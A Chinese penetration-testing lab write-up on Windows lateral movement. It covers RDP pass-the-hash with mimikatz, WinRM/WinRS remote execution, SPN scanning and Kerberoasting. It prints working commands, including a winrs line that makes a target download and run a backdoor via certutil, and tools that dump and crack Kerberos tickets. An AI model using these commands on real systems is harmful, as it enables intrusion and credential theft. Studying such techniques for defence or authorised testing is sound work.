内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击
前言
今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百成功的,而且有很多步骤或者操作方式都是在前面的文章重复说了很多次了,所以接下来的文章涉及到重复的操作可能就一句话带过了。因为,重复的东西解释起来太麻烦了。
实验环境
这个我也不想多说了,和之前的一样。老样子,实验开始之前先让web服务器上线CS,顺便提权至system,别再问咋上线了。

RDP
明文连接
RDP就是windows的远程桌面连接,也是支持明文和NTLM连接的。一般RDP连接的话可以分为两种情况,一是直接在被控主机上去连接远程桌面,这个就比较容易被发现,二是建立节点,挂上代理然后在本地远程桌面连接。毋庸置疑,第二种肯定是要比第一种好的。先利用CS的插件查看一下RDP服务的端口,因为在实际情况中运维基本不会把RDP服务设置为默认的3389端口(我懒得改了)。

RDP服务为3389端口,那么我们先扫一下3389端口,进行一个内网探测。

抓取一下密码,记得要提权。

在CS上对web服务器开启socks代理,然后在本地配置好,直接远程桌面连接30主机试试。

连接上了,但是非常的卡。还有一点就是,你需要知道当前你连接的账户是否有人使用。如果这个账户正在使用的话,而你又远程连接上去,他那边就会有提示把人踢下线,那你不就被发现了么。

Hash连接
前面我们说过RDP也支持hash连接,但是受限条件太多了。需要开启Restricted Admin Mode,在Windows8.1和Windows server 2012 r2上是默认开启的。同时想要使用hash值连接远程桌面,不单单是本地要支持Restricted Admin Mode,对端也要支持Restricted Admin Mode。
如果说当前系统支持Restricted Admin mode,输入下面的命令就会弹出远程连接的窗口,反之没有则不支持。
mstsc.exe /restrictedadmin

本地运行minikatz,这里我就远程连接到30主机吧,它是Windows server 2012 r2系统的。输入下面的命令,hash前面我们抓取到的。执行之后就会弹出远程桌面窗口,不需要再输入密码。可以看到是连接得上的,不过要等有点久我就懒得等了。
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.22.30 /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c "/run:mstsc.exe /restrictedadmin"

WinRM&WinRS
手动横移
WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持xerberos和NTLM身份验证以及基本身份验证。WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。
移动条件:
双方都启用WinRM和WinRS的服务。
使用此服务需要管理员级别凭据。
Windows 2008 以上版本WinRS默认自动状态,windows vista/win7上必须手动启动。
Window2012之后的版本默认允许远程任意主机来管理。
这个攻击主要是针对Windows2008以上的系统版本,因为2008以下的话则需要手动开启,我连你的权限都没获取咋手动开启嘛。其实WinRM和WinRS是一个东西,只是我们借助的是WimRM服务,而使用的是WinRS的命令去连接。
查看一下winrm侦听器配置。
#查看侦听器配置
winrm e winrm/config/listener 或 winrm enumerate winrm/config/listener#查看具体配置
winrm get winrm/config
Address:表示监听器所监听的地址。
Transport:用于指定用于发送和接收 WS-Management 协议请求和响应的传输类型,如 HTTP 或 HTTPS,其默认值为 HTTP。
Port:表示监听器所监听 TCP 端口。
Hostname:正在运行 WinRM 服务的计算机的主机名。该值必须是完全限定的域名、IPv4 或 IPv6 文本字符串或通配符。
Enabled:表示是启用还是禁用侦听器,其默认值为 True,表示启用。
URLPrefix:用于指定要在其上接受 HTTP 或 HTTPS 请求的 URL 前缀。例如,如果计算机名称为 SampleMachine,则 WinRM 客户端将在目标地址中指定 `https://SampleMachine/<在目标地址中指定的 URLPrefix>`。默认 URL 前缀为 "wsman"。CertificateThumbprint:用于指定服务证书的指纹。
ListeningOn:用于指定侦听器使用的 IPv4 和 IPv6 地址。

接着启动WinRM服务,有需要的可以修改一下配置,不修改的话就直接默认5985 端口。
winrm quickconfig

再在被控主机也就是我们的web服务器开启WinRM服务,这个我的web服务器是Windows2008,为了以防万一我还是手动开启一下,记得要高权限。在CS上输入命令的话,显示拒绝访问,不知道为啥,我明明已经是system权限了,难道是假的高权限么,所以我直接到web服务器上面输入命令了。
winrm quickconfig
winrm set winrm/config/Client @{TrustedHosts="*"} //允许任何主机连接

扫描一下端口,我这里是使用默认端口的,所以直接扫5985端口。

这里我在CS上面执行命令,说什么句柄无效???不知道是什么鬼,也查不到关于这方面的资料。
winrs -r:192.168.22.30 -u:administrator -p:#Root123 "whoami"

我又直接到web服务器上面去执行命令,给我弹个拒绝访问。这又是什么鬼,我看小迪视频上面说拒绝访问是因为密码错了,但是我这里密码也没错啊。

而且我在30主机执行了下面的命令,允许接受来自任何主机的WinRm连接,还是不行。搞了一个晚上这个实验,他妈都给我搞红温了。
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"

这里我直接换了一套环境,两台主机都在统一局域网中,其中2016是被控主机,2012是我们要横移到的主机。
winserver 2016 192.168.145.131
winserver 2012 192.168.145.251
被控主机执行开启WinRM服务命令,以防万一。

输入命令进行横向移动,成功了。
winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa whoami

获得交互式会话。

怎么上线CS不需要多说了吧,把命令换成下载后门的命令即可,就不演示了。
winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa "certutil.exe -urlcache -split -f http://192.168.145.131:80/2222.exe 2222.exe & 2222.exe"
CS内置横移
CS里面是自带WinRM横移的,不过这里我并没有实验成功。

对31主机开启转发上线。

然后在目标列表对30主机进行WinRM横移,监听器选择我们刚刚转发上线创建的,会话选择31主机提权后的。

执行之后我这里返回一大堆错误信息啥的,估计是我环境出错了啥的,也不想管啦。现实中其实也是差不多的,各种各样的错误,哎。

Kerberos攻击&SPN扫描
SPN扫描这玩意深究的话蛮复杂的,这里我参考了别人写的文章。
Spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。简单来说,Spn它不是一种横移手法而是一种扫描技术,可以利用Spn扫描去发现内网中的一些协议,常常配合Kerberos攻击一起使用。
参考链接:https://www.cnblogs.com/backlion/p/8082623.html
输入命令探测域内信息,它会回显域内哪些主机有哪些服务。
setspn -T 0day.org -q */* #扫描全部服务
setspn -T 0day.org -q */* | findstr "MSSQL" #扫描指定服务

Kerberos攻击
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。简单来说,我们请求服务的时候会留下票据,而这个票据包含了密码,如果说这个票据是用RC4来加密的话我们是可以破解它的,如果是AES256则不可以。
在本地安全策略里面我们为了实验可以把加密方式设置为RC4。

看一下本地的票据,发现是有RC4加密的。
klist

我们也可以利用这个工具去检测,哪些服务是RC4加密且能利用的。只是,我这里不知道为啥检测说没有,但是我明明是有服务是RC4加密的,太奇怪了。
下载地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
shell Rubeus kerberoast

如果检测出来有服务利用的话是这样的。

或者我们手动检测,用minikatz去请求这个服务,看它产生的票据是RC4还是AES。
mimikatz kerberos::ask /target:MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433

查看票据,发现是RC4加密滴。
klist

接着导出票据,但是导出来没见有MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433服务的票据,不知道为啥。
mimikatz kerberos::list /export

使用工具破解票据,pass.txt是字典,这里我还是没有成功。不知道为啥,字典里面也含有正确的密码,加密也是RC4。哎,不管了,可能与上面Rubeus工具没扫出来可用的服务有关。反正流程就这样。
下载地址:GitCode - 全球开发者的开源社区,开源代码托管平台
python tgsrepcrack.py Pass.txt "0-40e10000-wlwznb@krbtgt~GOD.LOCAL-GOD.LOCAL.kirbi"

如果破解成功是这样子的。

总结
总的来说RDP基本在现实中不咋用,因为你要去判断连接的账户当前在线不,被发现的风险较大。WinRM的话可能用的比较多,条件是必须为2008以上的系统才行,不过都2024年了,那些2008以下的老古董估计也没谁用了。kerberos攻击简单来说,就是找到RC4加密方式的服务,然后去请求它让本地生成票据,最后使用工具破解得到密码。
PS:这个次是实验弄了整整三天,wcnm,各种环境问题。看了一大堆文章也解决不了,实在是不想管啦。
以上便是本次横移的知识了。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
相关文章:
内网渗透—横向移动RDPWinRMWinRSSPN扫描Kerberos攻击
前言 今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百…...
Python套接字综合应用(UDP篇)
Python套接字综合应用(UDP篇) 1、 主要功能 UDP客户端实现UDP服务端实现输出字体颜色控制响应捕获键盘CtrlC信号套接字异常捕获及处理通信报文16进制格式化输出 2、 Python UDP套接字应用 Windows程序在WinServer2022上验证运行,Linux程序在银河麒麟V10上验证运…...
服务器安装哪吒面板详细教程
本文长期更新地址: 服务器安装哪吒面板详细教程-星零岁的博客https://blog.0xwl.com/13568.html 注:本文中部分内容源自网络,第四步中部分来自本人曾经文章:云服务器安装配置宝塔面板并安装基础运行环境教程-星零岁的博客 今天来讲…...
LLM微调(精讲)-以高考选择题生成模型为例(DataWhale AI夏令营)
前言 你好,我是GISer Liu😁,一名热爱AI技术的GIS开发者,上一篇文章中,作者介绍了基于讯飞开放平台进行大模型微调的完整流程;而在本文中,作者将对大模型微调的数据准备部分进行深入;…...
安全基础学习-RC4加密算法
这里仅仅记录一些基础的概念。后期有需求进一步扩展。 RC4 是一种对称流加密算法,由罗恩里维斯特(Ron Rivest)于1987年设计。RC4 的设计目的是提供一种简单且高效的加密方法。尽管 RC4 曾经广泛使用,但它的安全性在现代已受到质疑…...
雨云宁波电信大带宽服务器测评(非广告)
提示:本文非广告,非宣传! 本文长期更新地址:雨云宁波电信大带宽服务器测评(非广告) 雨云现在有一个国内的新区——宁波 宣传的是电信大带宽,可附加100G防御,采用NVME,和铂…...
2024年,最新前端趋势
随着技术的不断发展,前端开发领域在2024年迎来了新的趋势和挑战。对于开发者来说,紧跟这些趋势不仅能提升技术水平,还能在激烈的市场竞争中脱颖而出。今天,我想向大家介绍一款在这波趋势中脱颖而出的开发神器——MemFire Cloud。这…...
Linux静态进程和动态进程查看管理
1.静态进程的查看PS PPID:谁启动的父亲ID USER:运行进程的用户名称 PID:进程ID %CPU:CPU的占用比例占用资源 %MEM:内存使用的占用比例 VSZ:占用虚拟内存多少 RSS:占用实际内存多少 TTY:…...
CPU飙升 怎么定位问题
传统的方法 【top】 查看所有进程占系统CPU的排序,定位是哪个进程搞的鬼。PID那一列就是进程号。 【top -Hp pid】 定位进程中使用 CPU 最高的线程tid 【printf ‘0x%x’ tid】 线程 tid 转化 16 进制,例如printf ‘0x%x’ 11882 得到16进制的 0x2e6a 【jstack…...
The Sandbox 游戏制作教程第 4 章|使用装备制作游戏,触发独特互动
欢迎回到我们的系列,我们将记录 The Sandbox Game Maker 的 “On-Equip”(装备)功能的多种用途。 如果你刚加入 The Sandbox,On-Equip 功能是 “可收集组件”(Collectable Component)中的一个多功能工具&a…...
JS 和 JSX、TS 和 TSX 的区别
1. JS(JavaScript) 定义与特性: JavaScript(简称JS)是一种轻量级、解释型或即时编译型的编程语言。它基于原型编程、多范式的动态脚本语言,支持面向对象、命令式、声明式、函数式编程范式。JavaScript 是…...
25款极氪007上市,小米SU7就不该买?
文 | AUTO芯球 作者 | 谦行 我是刚刚才知道 买小米SU7的原来是盯着他这两个功能 可爱的小女孩喊小爱同学帮她停个车 妈妈给她说SU7自己能停好,她还叮嘱一句“小爱同学你给我好好停” SU7滴溜溜的就停在车位上,全程不到一分钟 视频属实温馨&#x…...
旋转字符串 | LeetCode-796 | 模拟 | KMP | 字符串匹配
🙋大家好!我是毛毛张! 🌈个人首页: 神马都会亿点点的毛毛张 🕹️KMP算法练习题 LeetCode链接:796. 旋转字符串 文章目录 1.题目描述🍑2.题解🫐2.1 暴力解法🫒2.2 模拟…...
网络安全测试工具Burp Suite基本使用
一、介绍 Burp Suite 是一款由 PortSwigger 开发的集成网络安全测试工具,广泛用于渗透测试和漏洞扫描。它提供了一系列功能强大的工具和功能,帮助安全研究人员和渗透测试人员识别和修复 Web 应用程序中的安全漏洞。以下是 Burp Suite 的主要功能和特点&…...
使用pytest+selenium编写网页UI自动化脚本和用例
1 UI自动化测试 UI自动化测试(User Interface Automation Testing)是一种通过编写脚本或使用自动化测试工具,对界面(UI)进行自动化测试的方法。原理主要是模拟用户打开客户端或网页的UI界面,自动化执行用户…...
新能源遇“秋老虎”,8月第二周销量集体下滑,问界惨遭腰斩
文/王俣祺 导语:随着日前7月份乘用车销量的公布,我们发现7月并没有因6月各车企的“冲量”行为迎来反噬,对于这种“淡季不淡”的现象市场上一片看好。但从近日公布的8月销量数据来看,人们对于“秋老虎”的恐怖可以说是一无所知。随…...
SEO模板网站的wordpress主题最适合google外贸SEO
在寻找最适合Google外贸SEO的WordPress主题时,有几个关键因素需要考虑:速度、SEO友好性、多语言支持、以及是否易于定制。以下是一些推荐的WordPress主题,它们不仅速度快,而且对SEO非常友好,非常适合外贸网站ÿ…...
fetch跨域请求数据的前端设置和后端php的header设置
跨源请求,也称为CORS(Cross-Origin Resource Sharing)请求,是Web开发中常见的一种需求,允许一个网页的JavaScript代码向与该网页不同源的服务器发出HTTP请求。以下是使用JavaScript中的fetch函数进行跨源请求的一个基本…...
Ted靶机
信息收集: 靶机地址:https://www.vulnhub.com/entry/ted-1,327/ (1)ip扫描 nmap 192.168.254.0/24 -sn | grep -B 2 00:0C:29:FF:7F:9A (2)端口扫描 nmap -p- -A 192.168.254.159 (3&#x…...
HarmonyOS ArkTS 构建布局
在 HarmonyOS 中,ArkTS 是一种基于 TypeScript 的编程语言,专为开发 HarmonyOS 应用而设计。构建布局是开发应用的关键步骤之一。以下是如何在 ArkTS 中构建布局的基本指南。 1. 创建项目和页面 首先,确保已经创建了一个 HarmonyOS 项目。如…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
多场景 OkHttpClient 管理器 - Android 网络通信解决方案
下面是一个完整的 Android 实现,展示如何创建和管理多个 OkHttpClient 实例,分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...
python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...
音视频——I2S 协议详解
I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议,专门用于在数字音频设备之间传输数字音频数据。它由飞利浦(Philips)公司开发,以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
手机平板能效生态设计指令EU 2023/1670标准解读
手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读,综合法规核心要求、最新修正及企业合规要点: 一、法规背景与目标 生效与强制时间 发布于2023年8月31日(OJ公报&…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
学习一下用鸿蒙DevEco Studio HarmonyOS5实现百度地图
在鸿蒙(HarmonyOS5)中集成百度地图,可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API,可以构建跨设备的定位、导航和地图展示功能。 1. 鸿蒙环境准备 开发工具:下载安装 De…...
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
iOS 应用的发布流程一直是开发链路中最“苹果味”的环节:强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说,这一套流程并不友好。 特别是当你的项目主要在 Windows 或 Linux 下开发(例如 Flutter、React Na…...
